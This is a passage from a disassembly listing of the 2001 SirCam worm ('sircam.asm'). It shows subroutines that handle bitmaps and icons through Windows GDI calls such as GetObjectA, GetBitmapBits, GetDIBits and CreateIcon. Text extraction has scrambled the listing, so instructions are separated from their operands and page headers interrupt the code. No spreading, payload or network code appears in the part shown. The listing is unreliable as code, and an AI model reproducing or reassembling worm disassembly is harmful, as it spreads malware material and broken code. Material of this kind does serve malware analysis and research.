; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_414AC5
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_414AD8:
xor
mov
mov
movzx
call
mov
mov
dec
test
jle
mov
; DATA XREF: sub_4149E8+D8\030o
eax, eax
[ebp-24h], eax
eax, [ebp-10h]
eax, word ptr [eax+2]
sub_41494C
[ebp-20h], eax
edi, [ebp-0Ch]
edi
edi, edi
short loc_414B40
esi, 1
mov
add
mov
movzx
eax,
eax,
edx,
eax,
loc_414AF9:
; CODE XREF: CODE:00414B3E\031j
esi
eax
[ebp-10h]
word ptr [edx+eax*8+2]
sircam.asm
Fri Aug 10 12:42:44 2001
call
mov
cmp
jg
cmp
jl
push
mov
add
mov
lea
mov
add
mov
lea
call
pop
test
jz
mov
mov
555
sub_41494C
ebx, eax
ebx, [ebp-1Ch]
short loc_414B3C
ebx, [ebp-20h]
short loc_414B3C
ebp
eax, esi
eax, eax
edx, [ebp-10h]
edx, [edx+eax*8]
eax, [ebp-24h]
eax, eax
ecx, [ebp-10h]
eax, [ecx+eax*8]
sub_414958
ecx
al, al
short loc_414B3C
[ebp-24h], esi
[ebp-20h], ebx
loc_414B3C:
; CODE XREF: CODE:00414B0F\030j
; CODE:00414B14\030j ...
inc
dec
jnz
esi
edi
short loc_414AF9
mov
add
mov
lea
mov
mov
movzx
mov
mov
mov
movzx
mov
mov
mov
mov
call
mov
xor
push
push
push
mov
mov
mov
mov
add
sub
mov
mov
mov
call
mov
mov
mov
mov
mov
mov
call
mov
push
lea
; CODE XREF: CODE:00414AF2\030j
eax, [ebp-24h]
eax, eax
edx, [ebp-10h]
eax, [edx+eax*8]
[ebp-40h], eax
eax, [ebp-40h]
eax, byte ptr [eax]
edx, [ebp+8]
[edx], eax
eax, [ebp-40h]
eax, byte ptr [eax+1]
edx, [ebp+8]
[edx+4], eax
eax, [ebp-40h]
eax, [eax+8]
sub_406D34
[ebp-2Ch], eax
eax, eax
ebp
offset loc_414CBF
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp-40h]
edx, [eax+0Ch]
eax, [ebp-14h]
eax, [ebp+10h]
edx, eax
cx, 1
eax, [ebp-4]
ebx, [eax]
dword ptr [ebx+0Ch]
eax, [ebp-40h]
ecx, [eax+8]
ebx, [ebp-2Ch]
edx, ebx
eax, [ebp-4]
esi, [eax]
dword ptr [esi+4]
eax, [ebp+8]
eax
ecx, [ebp-38h]
loc_414B40:
sircam.asm
Fri Aug 10 12:42:44 2001
lea
mov
call
lea
push
push
mov
push
call
lea
push
push
mov
push
call
mov
imul
movzx
imul
mov
imul
movzx
imul
mov
mov
add
mov
mov
call
mov
xor
push
push
push
mov
mov
mov
add
push
push
mov
push
call
push
mov
push
mov
push
call
mov
push
call
mov
push
call
push
push
mov
push
mov
push
mov
mov
push
mov
mov
push
mov
push
call
edx, [ebp-34h]
eax, ebx
sub_414790
eax, [ebp-70h]
eax
18h
eax, [ebp-38h]
eax
j_GetObjectA
eax, [ebp-58h]
eax
18h
eax, [ebp-34h]
eax
j_GetObjectA
ebx, [ebp-64h]
ebx, [ebp-68h]
eax, word ptr [ebp-60h]
ebx, eax
eax, [ebp-4Ch]
dword ptr [ebp-50h]
edx, word ptr [ebp-48h]
edx
[ebp-3Ch], eax
eax, [ebp-3Ch]
eax, ebx
[ebp-18h], eax
eax, [ebp-18h]
sub_406D34
[ebp-30h], eax
eax, eax
ebp
offset loc_414C9C
dword ptr fs:[eax]
fs:[eax], esp
edi, [ebp-30h]
esi, [ebp-30h]
esi, ebx
edi
ebx
eax, [ebp-38h]
eax
j_GetBitmapBits
esi
eax, [ebp-3Ch]
eax
eax, [ebp-34h]
eax
j_GetBitmapBits
eax, [ebp-34h]
eax
j_DeleteObject
eax, [ebp-38h]
eax
j_DeleteObject
esi
edi
al, [ebp-46h]
eax
al, [ebp-48h]
eax
eax, [ebp+8]
eax, [eax+4]
eax
eax, [ebp+8]
eax, [eax]
eax
eax, ds:dword_41E4D4
eax
j_CreateIcon
556
sircam.asm
Fri Aug 10 12:42:44 2001
557
mov
mov
mov
cmp
jnz
call
edx, [ebp-8]
[edx], eax
eax, [ebp-8]
dword ptr [eax], 0
short loc_414C83
sub_41442C
xor
pop
pop
pop
mov
push
; CODE XREF: CODE:00414C7C\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_414CA3
loc_414C83:
loc_414C90:
; CODE XREF: CODE:00414CA1\031j
mov
edx, [ebp-18h]
mov
eax, [ebp-30h]
call
sub_4025B0
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_414C9C:
; DATA XREF: CODE:00414C11\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_414C90
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_414CA3:
xor
pop
pop
pop
mov
push
; DATA XREF: CODE:00414C8B\030o
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_414CC6
loc_414CB0:
; CODE XREF: CODE:00414CC4\031j
mov
eax, [ebp-40h]
mov
edx, [eax+8]
mov
eax, [ebp-2Ch]
call
sub_4025B0
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_414CBF:
; DATA XREF: CODE:00414B77\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_414CB0
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_414CC6:
xor
pop
pop
pop
mov
push
; DATA XREF: CODE:00414CAB\030o
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_414CE6
loc_414CD3:
; CODE XREF: CODE:00414CE4\031j
mov
edx, [ebp-14h]
mov
eax, [ebp-10h]
call
sub_4025B0
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_414CDF:
; DATA XREF: sub_4149E8+2C\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_414CD3
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
sircam.asm
Fri Aug 10 12:42:44 2001
558
loc_414CE6:
; DATA XREF: CODE:00414CCE\030o
pop
edi
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
0Ch
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_414CF0
proc near
var_50
var_4C
var_44
var_42
var_3C
=
=
=
=
=
; CODE XREF: sub_414DD4+12\031p
; sub_414E38+16\031p
dword ptr -50h
dword ptr -4Ch
word ptr -44h
word ptr -42h
dword ptr -3Ch
push
ebx
push
esi
push
edi
add
esp, 0FFFFFFACh
mov
esi, ecx
mov
ebx, edx
xor
edx, edx
mov
[esp+54h+var_3C], edx
push
esp
push
54h
push
eax
call
j_GetObjectA
test
eax, eax
jnz
short loc_414D14
call
sub_4143C0
jmp
short loc_414D53
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_414D14:
; CODE XREF: sub_414CF0+1B\030j
cmp
eax, 40h
jl
short loc_414D31
cmp
[esp+54h+var_3C], 28h
jb
short loc_414D31
push
esi
mov
edi, ebx
lea
esi, [esp+58h+var_3C]
mov
ecx, 0Ah
repe movsd
pop
esi
jmp
short loc_414D53
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_414D31:
; CODE XREF: sub_414CF0+27\030j
; sub_414CF0+2E\030j
mov
xor
mov
call
mov
mov
mov
mov
mov
eax, ebx
ecx, ecx
edx, 28h
sub_4028D4
dword ptr [ebx], 28h
eax, [esp+54h+var_50]
[ebx+4], eax
eax, [esp+54h+var_4C]
[ebx+8], eax
loc_414D53:
; CODE XREF: sub_414CF0+22\030j
; sub_414CF0+3F\030j
mov
eax, esi
sircam.asm
Fri Aug 10 12:42:44 2001
559
sub
eax, 2
jz
short loc_414D69
dec
eax
sub
eax, 0Eh
jb
short loc_414D71
sub
eax, 0F0h
jb
short loc_414D7C
jmp
short loc_414D87
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_414D69:
; CODE XREF: sub_414CF0+68\030j
mov
word ptr [ebx+0Eh], 1
jmp
short loc_414D95
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_414D71:
; CODE XREF: sub_414CF0+6E\030j
mov
word ptr [ebx+0Eh], 4
mov
[ebx+20h], esi
jmp
short loc_414D95
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_414D7C:
; CODE XREF: sub_414CF0+75\030j
mov
word ptr [ebx+0Eh], 8
mov
[ebx+20h], esi
jmp
short loc_414D95
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_414D87:
mov
imul
mov
; CODE XREF: sub_414CF0+77\030j
ax, [esp+54h+var_42]
[esp+54h+var_44]
[ebx+0Eh], ax
mov
mov
cmp
jnb
mov
; CODE XREF: sub_414CF0+7F\030j
; sub_414CF0+8A\030j ...
word ptr [ebx+0Ch], 1
eax, [ebx+20h]
eax, [ebx+24h]
short loc_414DA6
[ebx+24h], eax
loc_414D95:
loc_414DA6:
cmp
jnz
movzx
mov
mov
call
mov
mov
cdq
xor
sub
imul
mov
; CODE XREF: sub_414CF0+B1\030j
dword ptr [ebx+14h], 0
short loc_414DCD
edx, word ptr [ebx+0Eh]
eax, [ebx+4]
ecx, 20h
sub_414664
ecx, eax
eax, [ebx+8]
eax, edx
eax, edx
ecx, eax
[ebx+14h], ecx
loc_414DCD:
sub_414CF0
; CODE XREF: sub_414CF0+BA\030j
add
pop
pop
pop
retn
endp
esp, 54h
edi
esi
ebx
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_414DD4
proc near
; CODE XREF: sub_414EF8+56\031p
; sub_414EF8+66\031p
sircam.asm
var_28
var_1A
var_18
var_14
var_8
arg_0
Fri Aug 10 12:42:44 2001
=
=
=
=
=
=
560
byte ptr -28h
word ptr -1Ah
byte ptr -18h
dword ptr -14h
dword ptr -8
dword ptr 8
push
ebp
mov
ebp, esp
add
esp, 0FFFFFFD8h
push
ebx
push
esi
mov
esi, ecx
mov
ebx, edx
lea
edx, [ebp+var_28]
mov
ecx, [ebp+arg_0]
call
sub_414CF0
mov
ax, [ebp+var_1A]
cmp
ax, 8
jbe
short loc_414E06
mov
dword ptr [ebx], 28h
test
[ebp+var_18], 3
jz
short loc_414E2A
add
dword ptr [ebx], 0Ch
jmp
short loc_414E2A
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_414E06:
; CODE XREF: sub_414DD4+1F\030j
mov
edx, [ebp+var_8]
test
edx, edx
jnz
short loc_414E20
mov
ecx, eax
mov
eax, 1
shl
eax, cl
shl
eax, 2
add
eax, 28h
mov
[ebx], eax
jmp
short loc_414E2A
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_414E20:
; CODE XREF: sub_414DD4+37\030j
mov
shl
add
mov
loc_414E2A:
sub_414DD4
mov
mov
pop
pop
mov
pop
retn
endp
eax, edx
eax, 2
eax, 28h
[ebx], eax
; CODE XREF: sub_414DD4+2B\030j
; sub_414DD4+30\030j ...
eax, [ebp+var_14]
[esi], eax
esi
ebx
esp, ebp
ebp
4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_414E38
proc near
var_C
var_8
= dword ptr -0Ch
= dword ptr -8
; CODE XREF: sub_414EF8+C7\031p
; sub_414EF8+DA\031p
sircam.asm
var_1
arg_0
arg_4
Fri Aug 10 12:42:44 2001
561
= byte ptr -1
= dword ptr 8
= dword ptr 0Ch
push
mov
add
push
push
push
mov
mov
mov
mov
mov
mov
call
xor
mov
push
call
mov
xor
push
push
push
mov
test
jz
push
push
mov
push
call
mov
mov
push
call
ebp
ebp, esp
esp, 0FFFFFFF4h
ebx
esi
edi
ebx, ecx
edi, edx
esi, eax
edx, ebx
ecx, [ebp+arg_0]
eax, esi
sub_414CF0
eax, eax
[ebp+var_8], eax
0
j_CreateCompatibleDC
[ebp+var_C], eax
eax, eax
ebp
offset loc_414ED5
dword ptr fs:[eax]
fs:[eax], esp
edi, edi
short loc_414E8C
0
edi
eax, [ebp+var_C]
eax
j_SelectPalette
[ebp+var_8], eax
eax, [ebp+var_C]
eax
j_RealizePalette
push
push
mov
push
mov
push
push
push
mov
push
call
test
setnz
xor
pop
pop
pop
mov
push
; CODE XREF: sub_414E38+3A\030j
0
ebx
eax, [ebp+arg_4]
eax
eax, [ebx+8]
eax
0
esi
eax, [ebp+var_C]
eax
j_GetDIBits
eax, eax
[ebp+var_1]
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_414EDC
cmp
jz
push
mov
push
mov
push
call
[ebp+var_8], 0
short loc_414ECB
0
eax, [ebp+var_8]
eax
eax, [ebp+var_C]
eax
j_SelectPalette
loc_414E8C:
loc_414EB6:
; CODE XREF: CODE:00414EDA\031j
sircam.asm
Fri Aug 10 12:42:44 2001
loc_414ECB:
sub_414E38
562
; CODE XREF: sub_414E38+82\030j
mov
eax, [ebp+var_C]
push
eax
call
j_DeleteDC
retn
endp ; sp = -20h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_414ED5:
; DATA XREF: sub_414E38+2D\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_414EB6
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_414EDC:
; DATA XREF: sub_414E38+79\030o
mov
al, [ebp-1]
pop
edi
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_414EEC
proc near
; CODE XREF: sub_414EF8+38\031p
test
eax, eax
jnz
short locret_414EF5
call
nullsub_1
locret_414EF5:
sub_414EEC
; CODE XREF: sub_414EEC+2\030j
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_414EF8
proc near
var_54
var_53
var_52
var_4C
var_48
var_44
var_38
var_34
var_30
var_2A
var_28
var_26
var_24
var_20
var_1C
var_18
var_14
var_10
var_C
var_8
var_1
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
byte ptr -54h
byte ptr -53h
word ptr -52h
dword ptr -4Ch
dword ptr -48h
byte ptr -44h
dword ptr -38h
dword ptr -34h
dword ptr -30h
byte ptr -2Ah
word ptr -28h
word ptr -26h
dword ptr -24h
dword ptr -20h
dword ptr -1Ch
dword ptr -18h
dword ptr -14h
dword ptr -10h
dword ptr -0Ch
dword ptr -8
byte ptr -1
push
ebp
; CODE XREF: sub_4157DC+7E\031p
sircam.asm
Fri Aug 10 12:42:44 2001
mov
add
push
push
push
mov
mov
mov
lea
xor
mov
call
lea
xor
mov
call
lea
push
push
call
call
xor
push
push
push
mov
push
lea
lea
mov
call
push
lea
lea
mov
call
xor
mov
xor
mov
xor
mov
xor
mov
xor
push
push
push
mov
mov
call
mov
mov
call
mov
mov
call
mov
mov
call
mov
mov
push
push
mov
xor
mov
call
mov
push
ebp, esp
esp, 0FFFFFFACh
ebx
esi
edi
[ebp+var_1], cl
esi, edx
ebx, eax
eax, [ebp+var_2A]
ecx, ecx
edx, 6
sub_4028D4
eax, [ebp+var_54]
ecx, ecx
edx, 10h
sub_4028D4
eax, [ebp+var_44]
eax
esi
j_GetIconInfo
sub_414EEC
edx, edx
ebp
offset loc_4150E6
dword ptr fs:[edx]
fs:[edx], esp
2
ecx, [ebp+var_10]
edx, [ebp+var_8]
eax, [ebp+var_38]
sub_414DD4
10h
ecx, [ebp+var_14]
edx, [ebp+var_C]
eax, [ebp+var_34]
sub_414DD4
eax, eax
[ebp+var_18], eax
eax, eax
[ebp+var_1C], eax
eax, eax
[ebp+var_20], eax
eax, eax
[ebp+var_24], eax
edx, edx
ebp
offset loc_4150BF
dword ptr fs:[edx]
fs:[edx], esp
eax, [ebp+var_8]
sub_406D34
[ebp+var_18], eax
eax, [ebp+var_10]
sub_406D34
[ebp+var_1C], eax
eax, [ebp+var_C]
sub_406D34
[ebp+var_20], eax
eax, [ebp+var_14]
sub_406D34
[ebp+var_24], eax
eax, [ebp+var_1C]
eax
2
ecx, [ebp+var_18]
edx, edx
eax, [ebp+var_38]
sub_414E38
eax, [ebp+var_24]
eax
563
sircam.asm
Fri Aug 10 12:42:44 2001
564
push
mov
xor
mov
call
cmp
jz
mov
add
add
add
mov
lea
mov
mov
mov
call
10h
ecx, [ebp+var_20]
edx, edx
eax, [ebp+var_34]
sub_414E38
[ebp+var_1], 0
short loc_414FFB
eax, [ebp+var_C]
eax, 16h
eax, [ebp+var_14]
eax, [ebp+var_10]
[ebp+var_30], eax
edx, [ebp+var_30]
ecx, 4
eax, ebx
esi, [eax]
dword ptr [esi+8]
mov
mov
lea
mov
mov
mov
call
mov
mov
mov
mov
mov
mov
mov
imul
mov
mov
add
add
mov
mov
lea
mov
mov
mov
call
mov
mov
add
mov
mov
mov
mov
call
mov
mov
mov
mov
call
mov
mov
mov
mov
call
xor
pop
pop
pop
mov
push
; CODE XREF: sub_414EF8+E3\030j
[ebp+var_28], 1
[ebp+var_26], 1
edx, [ebp+var_2A]
ecx, 6
eax, ebx
esi, [eax]
dword ptr [esi+8]
esi, [ebp+var_20]
eax, esi
dl, [eax+4]
[ebp+var_54], dl
dl, [eax+8]
[ebp+var_53], dl
dx, [eax+0Ch]
dx, [eax+0Eh]
[ebp+var_52], dx
eax, [ebp+var_C]
eax, [ebp+var_14]
eax, [ebp+var_10]
[ebp+var_4C], eax
[ebp+var_48], 16h
edx, [ebp+var_54]
ecx, 10h
eax, ebx
edi, [eax]
dword ptr [edi+8]
eax, esi
edx, [eax+8]
[eax+8], edx
edx, [ebp+var_20]
ecx, [ebp+var_C]
eax, ebx
esi, [eax]
dword ptr [esi+8]
edx, [ebp+var_24]
ecx, [ebp+var_14]
eax, ebx
esi, [eax]
dword ptr [esi+8]
edx, [ebp+var_1C]
ecx, [ebp+var_10]
eax, ebx
ebx, [eax]
dword ptr [ebx+8]
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_4150C6
loc_414FFB:
sircam.asm
loc_415092:
sub_414EF8
Fri Aug 10 12:42:44 2001
565
; CODE XREF: CODE:004150C4\031j
mov
edx, [ebp+var_C]
mov
eax, [ebp+var_20]
call
sub_4025B0
mov
edx, [ebp+var_14]
mov
eax, [ebp+var_24]
call
sub_4025B0
mov
edx, [ebp+var_8]
mov
eax, [ebp+var_18]
call
sub_4025B0
mov
edx, [ebp+var_10]
mov
eax, [ebp+var_1C]
call
sub_4025B0
retn
endp ; sp = -84h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4150BF:
; DATA XREF: sub_414EF8+82\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_415092
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4150C6:
xor
pop
pop
pop
mov
push
; DATA XREF: sub_414EF8+195\030o
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_4150ED
loc_4150D3:
; CODE XREF: CODE:004150EB\031j
mov
eax, [ebp-34h]
push
eax
call
j_DeleteObject
mov
eax, [ebp-38h]
push
eax
call
j_DeleteObject
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4150E6:
; DATA XREF: sub_414EF8+40\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_4150D3
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4150ED:
; DATA XREF: CODE:004150CE\030o
pop
pop
pop
mov
pop
retn
edi
esi
ebx
esp, ebp
ebp
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4150F4
proc near
push
push
test
jz
add
call
ebx
esi
dl, dl
short loc_415102
esp, 0FFFFFFF0h
sub_402CDC
mov
ebx, edx
; CODE XREF: sub_4155EC+17\031p
; DATA XREF: CODE:004134F0\030o
loc_415102:
; CODE XREF: sub_4150F4+4\030j
sircam.asm
Fri Aug 10 12:42:44 2001
mov
xor
mov
call
mov
test
jz
call
pop
add
esi, eax
edx, edx
eax, esi
sub_402BAC
eax, esi
bl, bl
short loc_415124
sub_402D34
large dword ptr fs:0
esp, 0Ch
mov
pop
pop
retn
endp
eax, esi
esi
ebx
loc_415124:
sub_4150F4
566
; CODE XREF: sub_4150F4+1F\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
